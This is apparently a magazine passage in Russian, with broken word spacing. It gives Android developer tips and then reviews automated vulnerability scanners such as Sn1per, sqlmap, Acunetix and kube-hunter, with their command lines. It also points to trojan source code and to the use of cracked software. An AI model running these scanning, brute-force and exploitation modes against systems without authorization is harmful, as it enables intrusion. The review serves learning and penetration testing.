Ре шить эту проб лему в боль шинст ве случ аев можн о, исполь зуя метод fin‐
ishAffinity(), который прив одит к кор рект но му завер шению текущей
активнос ти при ложен ия, а так же всех активност ей с тем же зна чени ем affinity.
Так как по умол чанию Android наз начае т всем активност ям при ложе ния оди‐
нако вый affinity, равн ый имен и пакета при ложе ния, это при ведет к закр ытию
всех активност ей.
Со веты, как уменьш ить раз мер прил ожен ия
App size reduction at Microsoft SwiftKey — сбор ник заметок разр абот чиков кла‐
виату ры SwiftKey (Microsoft) о том, как сок ратить раз мер ска чива емо го и уста‐
новл енно го при ложе ния.
1. Уста новл енное прил ожен ие весит намн ого боль ше скач ивае мо го
потому, что во вре мя уста новк и Android сох раняе т в памяти устройс тва
не толь ко сам APK‐файл, но и некото рые извле ченн ые из него комп онен ты:
верифи циро ванн ый файл DEX (VDEX — Verified DEX) и натив ные библ иотек и.
Так же через некото рое вре мя вир туаль ная машина соз дает файл ODEX —
опти мизир ован ную верс ию фай ла DEX, проп ущенн ую через AOT‐комп илятор
(некото рые част и байт‐кода заменяю тся на машин ные инс трук ции). Прич ем
начиная с Android 9 этот файл может быть по лучен сраз у из Google Play.
В целях тес тирован ия файл ODEX мож но соз дать прин уди тель но:
adb shell cmd package compile ‐m speed‐profile ‐f имя.пакета
2. В слу чае со SwiftKey помог ли след ующие фла ги ProGuard: repackageclass‐
es, renamesourcefileattribute и allowaccessmodification. Но появил ся побочн ый
эффект: еще больш ее запутыв ание стек‐трейс ов в сист еме ана лиза сбо ев.
3. Ком пилятор R8 (в новых верс иях Android Studio включ ен по умолч анию)
сок ратил раз мер уста новл енног о прил оже ния на 1,3 Мбайт, но замед лил вре‐
мя его старт а.
4. По умол чанию при сборк е прил ожен ия сред а разр абот ки сжи мает
нативн ые библ иотек и. При уста новк е прил оже ния на устройс тво Android рас‐
паковыв ает библ иоте ки в спе циальн ый каталог с данн ыми прил оже ния.
Это прив одит к допол нительн ому рас ходу прост ранст ва устройс тва. Что бы
поменять такое поведен ие и зас тавить Android использ овать библ иотек и пря‐
мо из пакета, сле дует внес ти два изме нения в про ект.
В файл build.gradle добавить такие стро ки:
android {
aaptOptions {
noCompress 'so'
...
}
...
}
В AndroidManifest.xml — такие:
<application android:extractNativeLibs="false" ...>
Имей в виду, что некото рые библ иоте ки, напр имер SoLoader, будут рас‐
паковы вать библ иотек и прин уди тельн о, несм отря на исполь зуемые опции.
5. По умол чанию при обфускац ии/минимиз ации прил оже ния сред а раз‐
работ ки удал ит все неис польз уемые ресурс ы. Так же ты можешь удал ить их
с помощью опции Android Studio: Refactor → Remove Unused Resources.
6. Использ уемое прил ожен ием мест о мож но сокр атить, пре образ овав
изоб ражения в форм ат WebP (клик прав ой клав ишей на пап ке drawable, затем
пункт Convert to WebP). Экон омия сост авит при мер но 25%. Еще больш его
выигр ыша мож но дос тигнуть, заменив раст ро вые изоб ражения на вект орные.
Однак о в этом случ ае авто мати ческ и прео браз овать их не получит ся.
7. При сбор ке сред а раз работ ки помеща ет все использ уемые прил оже‐
нием стро ки в файл resources.arsc. Туда попадаю т стро ки на всех язык ах,
вклю чая стро ки из использ уемых в про екте биб лиотек. Проб лема здесь в том,
что, если биб лиотек а переве дена на боль шее количес тво язы ков, чем само
при ложе ние, стро ки на этих язык ах все рав но попадут в пакет. Изба витьс я
от них мож но, перечисл ив использ уемые прил ожен ием язык и в конф иге
Gradle:
android {
defaultConfig {
resConfigs "en", "es"
}
}
Те перь в при ложен ие попадут строк и толь ко на англий ском и испанс ком.
8. Хороший выиг рыш в раз мере заг ружа емог о при ложен ия даст исполь‐
зование App Bundle. Новые вер сии Android Studio по умол чанию предл агаю т
собирать прил ожен ие в App Bundle вмес то клас сичес кого APK. Bundle затем
мож но залить в Google Play, и он автом атич ес ки будет разб ит на неск ольк о
APK для разн ых плат форм, вклю чая отдель ные дополн итель ные APK для раз‐
ных язы ков и регио нов. В этом случ ае ито говый раз мер пакета, который заг‐
ружа ет на смарт фон поль зователь, обыч но ста новит ся нам ного мень ше.
Все эти техн ики позв олили сок ратить разм ер пакета SwiftKey на 50%
(с 27,6 до 14,3 Мбайт), а занимае мое мест о пос ле уста новк и — на 40%
(с 81,5 до 48 Мбайт).
Сов еты, как измер ить потр ебле ние батареи
Android Battery Testing at Microsoft YourPhone — еще один материа л разр абот‐
чиков из Microsoft. На этот раз авторс тво при над лежит коман де прил ожен ия
YourPhone (того, что позв оляе т управлять телефо ном из Windows), а статья
посв ящена изме рению пот ребле ния батареи.
Больш ая часть статьи — вода, но в кон це есть мякот ка — скрипт
для запус ка тест ирова ния батареи и часть кода для парс инга резуль татов
работы скрип та. Код скрип та:
# Эмулируем отключение смартфона от источника питания
adb shell dumpsys unplug
# Сбрасываем статистику использования батареи
adb shell dumpsys batterystats ‐‐reset
# Запускаем тесты
...
# Останавливаем тесты
# Получаем статистику работы батареи (вывод этой команды надо
сохранить)
adb shell dumpsys batterystats
# Отключаем эмуляцию отключения от источника питания
adb shell dumpsys batterystats reset
Да лее результ ат работы команд ы dumpsys batterystats reset можн о про‐
парс ить, что бы получить свод ные данн ые об использ овании батареи.
В статье при веден фрагм ент при ложен ия на C#, которое выводит такой
результ ат:
Total Usage: 62.1mAh
Cpu Usage: 1.21mAh
Wifi Usage: 60.9mAh
Wakelock Usage: 0mAh
Bluetooth Usage: 0mAh
Ра зуме ется, его можн о перепис ать на любом друг ом язы ке.
Пра виль ный спо соб показать кла виатур у
Showing the Android Keyboard Reliably — статья раз работ чиков Square о том,
как показать клав иатур у и не получить проб лем.
Суть пробл емы: в Android есть спо соб фор сировать показ клав иатур ы
без необ ходимос ти дожидать ся, пока поль зователь клик нет на поле вво да:
val imm = context.getSystemService(Context.INPUT_METHOD_SERVICE) as
InputMethodManager
imm.showSoftInput(editText, InputMethodManager.SHOW_IMPLICIT)
Он работае т, но тольк о в том случ ае, если поле вво да (в дан ном случ ае —
editText) будет иметь фокус в момент вызова метода showSoftInput().
Это огран иче ние можн о обойт и, передав методу showSoftInput() флаг In‐
putMethodManager.SHOW_FORCED. Но тогд а клав иату ра не будет спрят ана
авто матич еск и и остан ет ся на экра не, напр имер, если польз ователь сверн ет
при ложен ие.
Статья опис ывае т спо соб обхо да этих пробл ем. Тебе необх одимо
повесить на поле вво да лис тенер, который сраб отае т, ког да поле ввод а
получит фокус, и в этот момент покажет клав иатур у.
Код фун кции‐рас ширения, которая кор рек тно показы вает кла виатур у
во всех случ аях:
fun View.focusAndShowKeyboard() {
fun View.showTheKeyboardNow() {
if (isFocused) {
post {
val imm = context.getSystemService(Context.INPUT_
METHOD_SERVICE) as InputMethodManager
imm.showSoftInput(this, InputMethodManager.SHOW_I
MPLICIT)
}
}
}
requestFocus()
if (hasWindowFocus()) {
showTheKeyboardNow()
} else {
viewTreeObserver.addOnWindowFocusChangeListener(
object : ViewTreeObserver.OnWindowFocusChangeListener {
override fun onWindowFocusChanged(hasFocus: Boolean) {
if (hasFocus) {
[email protected]()
viewTreeObserver.removeOnWindowFocusChang
eListener(this)
}
}
})
}
}
Реа лиз ация In-App Updates
In‐App Updates: Getting Started — больш ой туториа л по реали зации In‐App Up‐
dates — фун кции, с помощью которой при ложен ие может при нуди тельн о
обно вить себя или вывест и уве домл ение об обновле нии.
Фун кция реализ ован а в биб лиоте ке Google Play Core и предл агае т два
спо соба обновлен ия прил оже ния: immediate и flexible. Перв ый при нуди тель‐
ный: при ложе ние авто мати чес ки запуск ает обновлен ие, а поль зовател ю
остае тся тольк о наб людать. Вто рой поз воля ет пров ерить наличие обновле‐
ния и вывес ти сооб щение/уве дом ление/кнопк у, нажав на которое поль‐
зователь может самост оятельн о запуст ить про цесс обновле ния.
И в том и в дру гом слу чае про верить, есть ли новая вер сия, и запус тить
обновле ние очень прост о. Нап ример, при нудит ельн о обно вить можн о всег о
в нес кольк о стро чек:
private const val REQUEST_UPDATE = 100
fun checkForUpdate(activity: Activity) {
val appUpdateManager = AppUpdateManagerFactory.create(getApp
Context())
val appUpdateInfo = appUpdateManager.appUpdateInfo
appUpdateInfo.addOnSuccessListener {
handleImmediateUpdate(activity, appUpdateManager, appUpd
ateInfo)
}
}
private fun handleImmediateUpdate(activity: Activity, manager: AppUpd
ateManager, info: Task<AppUpdateInfo>) {
if ((info.result.updateAvailability() == UpdateAvailability.
UPDATE_AVAILABLE ||
info.result.updateAvailability() == Update
Availability.DEVELOPER_TRIGGERED_UPDATE_IN_PROGRESS) &&
info.result.isUpdateTypeAllowed(AppUpdateType.IMMEDIATE))
{
manager.startUpdateFlowForResult(info.result, AppUpdateType.
IMMEDIATE, activity, REQUEST_UPDATE)
}
}
Все, что дела ет этот код, — пров еря ет, есть ли обновле ние (UpdateAvail‐
ability.UPDATE_AVAILABLE), под ходит ли оно для при нудит ельн ой устан ов ки
(AppUpdateType.IMMEDIATE), и, если да, уста нав ливае т его.
Flexible‐обновлен ия работаю т прим ерн о так же с тем исключ ение м, что
обновлен ие можн о запус тить в фоне, а затем поп росить поль зовател я
перезап ус тить прил ожен ие.
Подб орка полез ных пла гинов для Android Studio
The Top 20 Android Studio Plugins — обзор двадц ати пла гинов Android Studio
на все слу чаи жизн и. Наибол ее интер есн ые экземп ля ры:
• Rainbow Brackets — рас кра шива ет парн ые скоб ки в раз ные цвет а, упро‐
щая поиск закр ыва ющей/откры вающей скобк и;
• ADB Idea — плаг ин, поз воля ющий быст ро выпол нить коман ды ADB: убить
при ложен ие, отоз вать пол номочия;
• ADB Wifi — пла гин для отладки смарт фон а без USB по Wi‐Fi;
• Gradle Killer — убив ает про цесс Gradle одной кнопк ой (полез но для быс‐
трой остан ов ки сборк и или освоб ож дения памяти);
• Kotlin Fill Class — позв оля ет быст ро созд ать класс с дефол тны ми свой‐
ства ми;
• TabNine — плаг ин авто дополн ения на осно ве ней росети, обу чен ной
на коде GitHub;
• SQLScout — плаг ин для управлен ия базами SQLite в режиме реальн ого
врем ени;
• Material Design Icon Generator — плаг ин для генерац ии икон ок в стил е
MD.
Рез ульт ат работы пла гина Rainbow Brackets
ИНСТРУМЕНТЫ
• XploitSPY — исходник и мощ ного троя на с панелью управле ния в комп лек те
(код осно ван на про екте L3MON);
• Aind — образ Docker, позв оля ющий запус кать прил ожен ия для Android
в Linux без использ ования эму лятор а (осно ван на Anbox);
• FridaAndroidTracer — скрипт, форм ирую щий отчет о прил оже нии и его
активност и;
• Runtime Mobile Security — веб‐интерфейс для Frida.
БИБЛИОТЕКИ
• WindowInsetsAnimation — при мер кода для работы с новым API клав иатур ы
в Android 11;
• AndColorPicker — быст рый наст раи ваемый ком понент для выбора цвет а;
• Chip‐navigation‐bar — оче редн ая панель навигац ии в ниж ней част и окна;
• PowerPermission — удобн ая обер тка для работы с разр ешения ми;
• Venom — библ иотек а для быс тро го убийс тва прил ожен ия в целях тес‐
тирован ия;
• Android‐lints — неск оль ко каст омных lint‐пра вил для пров ер ки качест ва
кода;
• Blitz — TextView, показыв ающий про шедш ее вре мя («пять минут назад»).
COVERSTORY
ХАК
В ОДИН КЛИК
Hackcat
[email protected]
СРАВНИВАЕМ ВОЗМОЖНОСТИ
АВТОМАТИЧЕСКИХ СКАНЕРОВ
УЯЗВИМОСТЕЙ
Для поис ка уязв имост ей вручн ую треб уют ся особ ые знан ия,
богатый опыт и редк ое чутье. Но как быть новичк ам?
Как наб ратьс я опыт а, если не зна ешь, с чего начинать?
На помощь прих одят автом ати ческ ие скан еры уязв имос тей.
В этой статье мы посм отрим, какие они быва ют и как ими
польз овать ся.
Ай тиш ники, как извест но, стре мят ся все авто мати зиров ать, и хакеры в этом
не отста ют. Сущест ву ют автом атич ес кие скан еры уяз вимос тей — что бы мож‐
но было запус тить, откин уть ся на спин ку крес ла и потягив ать кофе (или пив‐
ко), пока они сдел ают целую гору работы. Поиск уязв имос тей с их исполь‐
зование м сво дит ся к тому, чтоб ы отдать ска неру адрес цели и нажать боль‐
шую кнопк у Start, ну или Enter, если ты любитель тер минала.
При этом понят но, что ска нер най дет толь ко типовые уязв имост и и, чтоб ы
пой ти дальш е, нуж но уметь не тольк о нажимать на кнопк у. Но почему бы
не сэконо мить нем ного сил? Во мног их случ аях это впол не оправданн о.
КАТЕГОРИИ И МЕТОДЫ
Уни верс аль ных инст ру мен тов не сущест вуе т, и скан еры уяз вимос тей не стал и
исклю чени ем из это го пра вила. Они обыч но нацелен ы на уязв имос ти
какого‐то опре делен ного рода. В этой статье мы рас смот рим сле дующие
виды ска неров.
• WVS (Web Vulnerability Scanner) — ска неры веб‐уяз вимост ей. У меня
это самая мно гочисл енная категор ия. Сюда вход ят как общеи звест ные
OWASP ZAP и sqlmap, так и менее извест ные, но не менее полезн ые, вро‐
де Vega.
• Анал иза торы мобильн ых прил ожен ий. Тут очень мало дос тойн ых прод ук‐
тов, и мы остан овимс я на самых ярких из них.
• По лууни верс аль ные ска неры для локальн ой сети предп ри ятия или дома.
Это уже не прост о ска неры, а целые комб ай ны для анал иза и уче та обо‐
рудо вания в сети. Мно гие из них заодн о ищут уязв имост и.
• Всяк ие узкоспец иализ иро ван ные ска неры типа ана лиза исходног о кода,
Git/SVN‐репози торие в и друг их слож ных для руч ной обра бот ки мас сивов
данн ых.
Скан еры быва ют со своб од ной лицен зией и комм ерческ ие. Если с опен‐
сорсом все понят но, то для использ ования ком мерчес ких при дет ся выложить
весьм а при лич ную сумм у. К сожале нию, ни редак ция «Хакера», ни автор
не наст оль ко богаты, чтоб ы покупать их для обзор а. Поэто му для всех ком‐
мерческ их скан еров была использ ована офиц иаль ная пробн ая вер сия, если
не ого воре но иное.
WARNING
Вся информац ия в этой статье пре дост авлен а
исключ итель но в озна коми тель ных целях.
Ни редак ция, ни автор не несут ответст венн ости
за любой возм ожный вред, при чиненн ый матери‐
ала ми дан ной статьи. Пом ни, что дос туп к данн ым
без пред варитель ного пись менн ого сог лашения
с их вла дельц ем прес ледуе тся по закону.
Сам о тест ирован ие тоже бывае т раз ным: Black Box либо White Box. При пер‐
вом типе пен тестер или его инст ру мент дол жны работать с сер висом через те
же интерфейс ы, через которые с ним взаи мод ей ству ют польз овате ли. Нап‐
ример, если для тест ирован ия методом Black Box тебе дан сайт, то ты
можешь про верять его толь ко как посетит ель, без какого‐либо спе циальн ого
дост упа к исходно му коду или при вилег иров анн ым аккау нтам. Если это при‐
ложен ие, то под разумев ает ся, что у тебя нет дост упа к исходни кам: ковыряй
сам, если смо жешь. В общем, Black Box знач ит, что у тебя нет ничего, чего бы
не было у всех.
При тес тирован ии методом White Box пент естер (или хакер) име ет дос туп
ко всем пот рохам целевог о объ екта. Если это сайт — у тебя есть его код.
Если это сер вер — у тебя есть дост уп к его внут ренност ям вро де верс ии ОС
и устан ов ленно го софт а или к некото рым файл ам. В этом слу чае возм ожнос‐
ти куда шире и ты можешь най ти пробл ему, которую спо собен эксп лу ати‐
ровать тольк о прод винутый зло умыш ленник.
В сегодн яшней подб орке пред став лены ска неры обе их катего рий, так что
эту статью мож но счит ать уни верс альн ой отмычкой почт и к любому зам ку.
И конеч но, если я что‐то забыл, не стес няй ся использ овать ком мента рии.
SN1PER
• Це на: Community edition — бес плат но, Professional edition — от 150 дол‐
ларов
Sn1per — мощ ный фрей мворк для автом атич ес кого ана лиза безопасн ости
цели. Раз работан небезызв ес тным 1N3, основ ател ем ком пании XeroSecurity.
Из дру гих его извест ных инс трум ен тов — Findsploit (для быс тро го поис ка экс‐
пло итов к уязв имос ти) и PrivEsc — для поис ка локаль ных багов EoP.
Sn1per пос тавля ется в двух вари антах. Есть верс ия Community «для всех
и даром» и Sn1per Professional, лицен зия на который сто ит от 150 зеленых
аме риканс ких рубл ей.
В бесп лат ном вари анте ска нер умее т собирать базовую информа цию (IP
цели, ping, whois, DNS); запуск ает Nmap для поиск а открыт ых пор тов и опре‐
делен ия серв исов, в том чис ле и с помощью NSE; ищет част о встре чающиеся
уяз вимост и и авто мати ческ и эксп луа ти рует их; про бует получить дост уп
ко всем файл овым шарам (FTP, NFS, Samba); запус кает Nikto, WPScan
и Arachni для всех най ден ных веб‐прил ожен ий и мног ое дру гое. Под держи‐
вает интегра цию с Hunter.io, OpenVAS, Burp Suite, Shodan, Censys и Metasploit.
Уст ановк а довольн о прос та и под держив ает Docker, что свод ит ее к двум
команд ам:
docker pull xerosecurity/sn1per
docker run ‐it xerosecurity/sn1per /bin/bash
Для ска ниро вания выпол ни
sniper ‐t [TARGET]
Что бы задей ство вать все воз можност и Sn1per, понадо бят ся дополн итель ные
клю чи:
• o — использ ует движ ок OSINT;
• re — разв едка;
• fp — пол ностью про рабо тать все порт ы;
• m stealth — стар атель но скрыв ает ска нер, чтоб ы цель не поняла, что
ее скан ирую т;
• m webscan — Sn1per будет работать как обычн ый ска нер WVS;
• b — использ овать брут форс при необх одимос ти;
• f [FILE] — скан иро вать сра зу неск ольк о целей, которые перечисл ены
в фай ле [FILE];
• m nuke — «ядерн ый» режим скан иро вания. Вклю чает в себя брут форс,
обра бот ку всех порт ов, OSINT, раз ведку и сохр анение всех находок (loot);
• m massvulnscan — очень мощ ная фун кция в сочета нии с f. Масс ово
скан иру ет на мно гие извест ные уяз вимос ти все заданн ые цели. Если
в тес тируе мой комп ании мно го хост ов, эта опция будет весь ма полезн а;
• m discover — опция поис ка всех хост ов в заданн ой под сети и запуск
скан иро вания на каж дый из най ден ных. Если ты даже не зна ешь всех воз‐
можных целей, это будет очень полез но.
Прим ер репорт а посл е скан иро вания очень боль шой, но он есть в ре пози‐
тории авто ра.
WAPITI3
• Цен а: бесп лат но
Wapiti — подв ид аме рикан ских оле ней пол ностью бесп лат ный ска нер
веб‐уязв имост ей. На момент написа ния статьи пос ледняя вер сия была 3.0.3,
выпущен ная 20 февр аля этог о года, то есть про ект живой. Несм отря
на скром ные разм еры ска нера (всег о 2,3 Мбайт в рас пакованн ом виде),
набор фун кций у него доволь но обширный. По офиц иаль ному заявл ению,
ска нер умее т обна ружи вать след ующие баги:
• раск ры тие содерж имого файл а (local file inclusion), в том чис ле бэкапов
и исходно го кода сайт а;
• SQL‐инъе кции и внед рение кода PHP/ASP/JSP;
• от ражен ные и хран имые XSS;
• инъ екции команд ОС;
• XXE Injection;
• неу дачн ые кон фигура ции .htaccess;
• Open Redirect.
Wapiti3 подд ержив ает прок си, аутен тифика цию на целевом сай те, уме ет
не крич ать на самопаль ные сер тификат ы SSL и может встав лять в зап росы
любые заголовк и (в том числ е кас томный User‐Agent).
Исп оль зование инс трум ен та весь ма трив иальн о. Пос ле уста нов ки выпол‐
ни в терм инале (да, это конс оль ное прил оже ние) такую команд у:
wapiti ‐u [URL]
Wapiti прос каниру ет весь сайт и выдаст соот ветс твую щий отчет. Что бы исклю‐
чить ненужн ые адре са (напр имер, logout), добавь параметр ‐x [URL], а для
авто ризо ванн ого ска ниро вания треб уют ся куки. Для их использ ования сна‐
чала сге нерир уй JSON‐файл с помощью спец иальн ого скрипт а. Он лежит
в bin/wapiti‐getcookie и запуск ает ся след ующим образ ом:
wapiti‐getcookie ‐u [LOGIN_URL] ‐c cookies.json ‐d "username=[USER]&
password=[PASS]"
[LOGIN_URL] — это адрес стран ицы логина, а [USER] и [PASS] — логин
и пароль соот ветст вен но. Затем подк лю чаем готовый файл к скан еру:
wapiti ‐u [URL] ‐x [EXCLUDE] ‐c cookies.json
Вот и все. Отчет генери рует ся в HTML и сох раняе тся в /home/[USER]/.wapi‐
ti/generated_report/[TARGET_HOST]_[DATE]_[ID].html, где [USER] —
твой логин, [TARGET_HOST] — целевой сайт, [DATE] — дата ска ниро вания и
[ID] — четыре цифр ы. Можн о открыть в бра узе ре и посм отреть.
NIKTO
• Цен а: бес плат но
Nikto — весь ма популяр ный ска нер веб‐прил оже ний, изнач аль но встрое нный
в Kali Linux. Он край не прос той, даже не пря чет ся от WAF про чего злов редно‐
го ПО на сайт е, но довольн о точен. Умее т находить:
• странн ые и необычн ые заголов ки;
• утечк и inode через заголо вок ETag;
• исп ольз ование WAF;
• мно жес тво инте ресн ых файл ов, к которым не сто ило бы открыв ать дос туп.
Как видишь, не очень мног о. Но зато он быс тро работае т и не треб ует нас‐
тольн ого спра вочн ика для запуск а ска ниро вания.
Име ет кучу парамет ров. Самый глав ный из них — ‐h [HOST], зада ющий
цель. Если цель уме ет в SSL, стои т указ ать параметр ‐ssl. Так же есть фор мат
вывода (‐Format) и возм ожность работать с Metasploit. Инс трум ент немн ого
устар ел, но по‐прежн ему годит ся для раз ведки и взлом а совс ем уж без‐
надеж ных целей.
OWASP ZAP
• Це на: бесп лат но
Ска нер той самой орга низа ции OWASP, которая призв ана сдел ать наш
с тобой интернет безопасн ее. Впроч ем, пока не сильн о успешно. А еще,
кстат и, есть спис ок OWASP Top 10, где собр аны десять самых рас простра‐
нен ных багов в веб‐при ложен иях. ZAP (Zed Attack Proxy) — бесп лат ный инс‐
трум ент для тес тирова ния на прон икн овение и поиск а уяз вимос тей
в веб‐при ложе ниях. Его глав ные фичи:
• MITM‐прокс и для захв ата траф ика бра узер а;
• пасс ивный и активный скан еры уяз вимос тей;
• пау к‐кра улер, который может работать даже с AJAX;
• фазз ер парамет ров;
• подд ер жка плаг инов;
• подд ерж ка WebSocket.
У прогр аммы есть русс кий интерфейс (час тично), непл охой GUI и инс трук ция
по польз ованию для нович ков. При запус ке показы вает советы.
Зап уск ZAP
Ска ниро вание тре бует толь ко указ ать адрес сайт а. Воист ину «нажал и взло‐
мал»!
Press to Hack
По эффективн ости обнар ужен ия багов ZAP очень хорош, исполь зую его
парал лельн о с Vega и Acunetix. Однознач но рекоменд ую.
SQLMAP
• Це на: бесп лат но
Sqlmap — это, навер ное, самый извест ный скан ер для поиск а SQL‐инъе кций.
Его разр абот кой занима ются Миросл ав Штамп ар (Хор ватия) и Берн ардо
Дамеле (Ита лия). Осо бенн ость этог о скан ера в том, что он может не тольк о
найт и ошиб ку, но и сра зу экс плуа тир овать ее, при чем в пол ностью автом ати‐
ческ ом режиме. Уме ет работать с БД MySQL, MS SQL, PostgreSQL и Oracle.
WWW
Под робнее про sqlmap читай в статье «SQL‐инъ‐
екции — это прос то».
С выхода прош лой статьи об этом шикарн ом инс тру мент е почт и ничего
не измен илось. Поч ти — потому что у sqlmap наконец появилс я GUI, что
еще сильн ее понизи ло порог вхож дения.
Тот самый GUI
ACUNETIX WVS
• Цен а: базовая верс ия — от 4495 дол ларов за один сайт (и рас тет по мере
количес тва сай тов, которые ты пла ниру ешь скан иров ать). Рас ширенн ая
верс ия — от 6995 дол ларов за один сайт (но умее т нам ного больш е)
Бы ло бы стран но, если бы эта подб орка обош лась без комм ерческ их ска‐
неров. Имен но Acunetix WVS недавн о на шел баг у Google, а одно именн ая
комп ания‐раз работ чик — один из лидеров рын ка.
Сам скан ер — это веб‐прил ожен ие, и его мож но став ить на «безг оловый»
сер вер (то есть вообщ е без граф ическ ой обо лочк и). Есть подд ер жка и Win‐
dows, и Linux. К сожале нию, сам ска нер кому попало не прод ает ся, так что
«кто попало» выкр учивае тся с помощью темати ческ их сай тов. К пос ледней,
13‐й верс ии кря ка нет, поэтом у сей час у хакеров в ходу 12‐я вер сия.
Уст анов ка — класс ическ ая для Windows‐прил оже ний. Там задае тся логин
и пароль к веб‐интерфейс у, такж е есть возм ожность открыть удал ен ный дос‐
туп к скан еру (удобн о пос тавить его на VPS).
Посл е уста нов ки видим главн ую стра ницу интерфей са. Интерфейс прос‐
той, раз берет ся любой школь ник. Есть цвет овое опред еле ние тяжес ти най‐
денн ого бага и готовый рейт инг CVE. Польз овать ся скан ером дейс твит ельн о
удоб но и прия тно.
Скан иро вание треб ует тольк о указ ать адрес цели (на вкладк е Targets)
и нажать кноп ку Scan, опцио наль но задав врем я начала. Скан ер име ет нес‐
кольк о про филей скан иров ания, может скан иров ать тольк о в рабочее
или нерабо чее вре мя и, по слов ам прои зво дите ля, умее т находить почт и все
виды багов. В этот спи сок вхо дят:
• XSS, в том числ е DOM;
• SQL‐инъе кции, кро ме сле пых (blind);
• CSRF;
• обх од директ ории;
• XXE Injection;
• не безо пас ная сери ализ ация;
• проб лемы с SSL‐сер тификат ами (ско рое истеч ение срок а год ности, сла‐
бые шифр ы);
• пробл емы с CORS.
Ска нер дей стви тель но быс трый и качес твенн ый, для учас тия в bug bounty
под ходит идеа льн о. Жаль, цена куса ется. Но я прос то обя зан его пореком ен‐
довать, это один из луч ших инст рум ент ов.
VEGA
• Цен а: бес плат но
Еще один ска нер с открыт ым исходным кодом, разр аботан в комп ании Sub‐
graph. Да, той самой Subgraph, которая сде лала клие нт Tor на чис той Java.
Удив ительн о, но Vega бесп лат ный, а по воз можнос тям ничуть не хуже
Acunetix.
По заверен иям про изво дите ля и собст вен ным набл юдени ям, ска нер
хорошо ищет сле дующие баги:
• SQL‐инъе кции;
• XSS;
• XXE Injection;
• Integer Overflow/Underflow (кста ти, единс твенн ый ска нер, который их нор‐
мальн о ищет);
• рас крыт ие содер жимого файл а (local file inclusion);
• внедр ение кода;
• path traversal;
• внедр ение HTTP‐заголов ков;
• пло хие наст рой ки CORS.
Скан ер написан на Java, а зна чит, работа ет везд е, где есть Java VM, включ ая,
конечн о, Windows и Linux. Недост атки: нужн а та самая JVM, к тому же здесь
нет веб‐интерфей са.
Зап уск скан иро вания тоже трив иален, но, в отли чие от дру гих скан еров,
у Vega мно го наст ро ек.
А скрыт ы эти наст рой ки за кноп кой Next.
Но и это еще не все! Есть под держ ка авто ризо ван ного ска ниро вания, прич ем
без необ ходимост и добав лять cookies из конс оли.
Ко роче, бла года ря удоб ному GUI, качес твен ной работе и куче возм ожнос‐
тей это сейч ас лучш ий выбор для польз овател я Windows. Если же чего‐то
не хват ит, всег да мож но написать свой модуль на JavaScript.
INFO
Был о бы неп равиль но не упом януть в этой под‐
борке Nmap. Сам по себе он на зван ие скан ера
уязв имос тей не тянет, но у него есть скрипт овый
движ ок. Даже «из короб ки» он умее т пров ерять
популяр ные баги, но ты лег ко можешь сдел ать
этот глаз еще зорч е с помощью сво их (или чужих)
скрип тов. Как их соз давать, мы уже писали,
а най ти скрипт на любой вкус можн о на GitHub.
NESSUS
• Це на: бесп лат но / 3120 дол ларов
Nessus — комм ерчес кий скан ер безопас ности аме рикан ской ком пании Ten‐
able. Так же есть облачный скан ер Tenable.io, на котором я не буду оста нав‐
ливать ся подр обно.
У скан ера три редак ции: Essentials (для всех и бес плат но), Professional
(3120 дол ларов в год) и Tenable.io, который, по сути, предс тавл яет собой
отдельн ый про дукт со свое й ценой. При этом разн ица межд у редак циями Es‐
sentials и Professional лишь в количес тве дос тупных для скан иров ания адрес ов
и наличии под держ ки по email.
Сам ска нер довольн о уве сист ый (устан ов щик больш е 120 Мбайт, а посл е
актив ации ска чивае т еще мно го допол нений), и ска чать его можн о тольк о
пос ле регист ра ции, во врем я которой на почт у при дет код актив ации.
Nessus качае т допол нения
Ини циали зация весь ма прод ол житель ная, у меня заняла порядк а двад цати
минут.
Ког да с этим будет поконч ено, можн о начинать польз овать ся
веб‐панелью. Nessus ищет сле дующие пробл емы:
• рас кры тие вер сий ПО на хос тах;
• акт ивная мал варь;
• уяз вимость к брут форсу;
• слаб ые методы авто риза ции;
• от кры тые дан ные на целях (возм ожность перечисл ить учет ные записи
и груп пы, уда лен ный реестр и сетевые пап ки);
• не корр ек тные разр ешения и полити ки безопас ности.
Мо жет работать как крау лер.
Лич но мне не очень понр авил ся, хотя бы жес тким и рамк ами бесп лат ной
верс ии.
KUBE-HUNTER
• Цен а: бесп лат но
Спец иали зиро ван ный ска нер для анал иза безопасн ости клас теров Kuber‐
netes. Рас простран яет ся по сво бодн ой лицен зии Apache.
Этот охот ник ищет косяки в удал ен ных класт ерах, а затем одним мет ким
выс тре лом про бива ет защиту. Поль зоватьс я им след ует с остор ожн остью,
потому что в погоне за добычей он может что‐нибудь испортить. Впроч ем,
об этом мож но не бес поко итьс я, пока ты работа ешь с ним в «обыкн овен ном»
режиме. В таком режиме он будет находить дыры, но не полезет в них сам.
Если же ты решил доверить все в руки Kube‐hunter, есть режим «активной»
охо ты.
Скач ать скан ер мож но на GitHub, он написан на Python и нор маль но
работае т поч ти в любой ОС. Впро чем, можн о исполь зовать и Docker:
docker pull aquasec/kube‐hunter
docker run ‐‐rm aquasec/kube‐hunter [ARGUMENTS]
Посл е скач ива ния и устан ов ки зависи мост ей запуск аем. Весь набор фун кций
мож но уви деть толь ко с помощью допол нительн ых ключ ей запус ка. Вот они:
• remote [ADDRESS] — скан иро вать клас тер по адрес у;
• cidr [CIDR] — най ти и ата ковать все класт еры в диапа зоне адре сов;
• active — тот самый режим активной охот ы. Использ уй, если в раз‐
решении на пент ест ука зано, что ты не несешь ответст венн ости за сох‐
ранность инфраструкт уры заказч ика. Короче, я пре дупр едил;
• mapping — вывест и все най денн ые узлы Kubernetes. Полезн о с опцие й
cidr;
• log [LEVEL] — выводить сооб щения по уров ню важн ости. [LEVEL]
может быть DEBUG, INFO (по умол чанию) или WARNING;
• report [TYPE] — ука зывае т фор мат вывода отчет а. Может быть
json, yaml или plain. Эту опцию можн о сочетать со след ующей;
• dispatch [MODE] — ука зывае т, куда нужн о отправ ить отчет посл е
заверш ения ска ниро вания. По умол чанию stdout, но мож но отпра вить
и по HTTP, тог да парамет ром нужн о передать dispatch http. А что бы
Kube‐hunter знал, куда имен но отправл ять резуль таты, объя сни ему это в
переменн ых сред ы:
KUBEHUNTER_HTTP_DISPATCH_URL (по умолчанию — https://localhost)
KUBEHUNTER_HTTP_DISPATCH_METHOD (по умолчанию — POST)
Очень удобн ая фун кция, которой нет в дру гих скан ерах, — возм ожность прос‐
матрив ать результ аты работы на онлайн овом даш борде, даже если скан ер
работае т за NAT или еще как‐то отго рожен от сети. Для исполь зования фичи
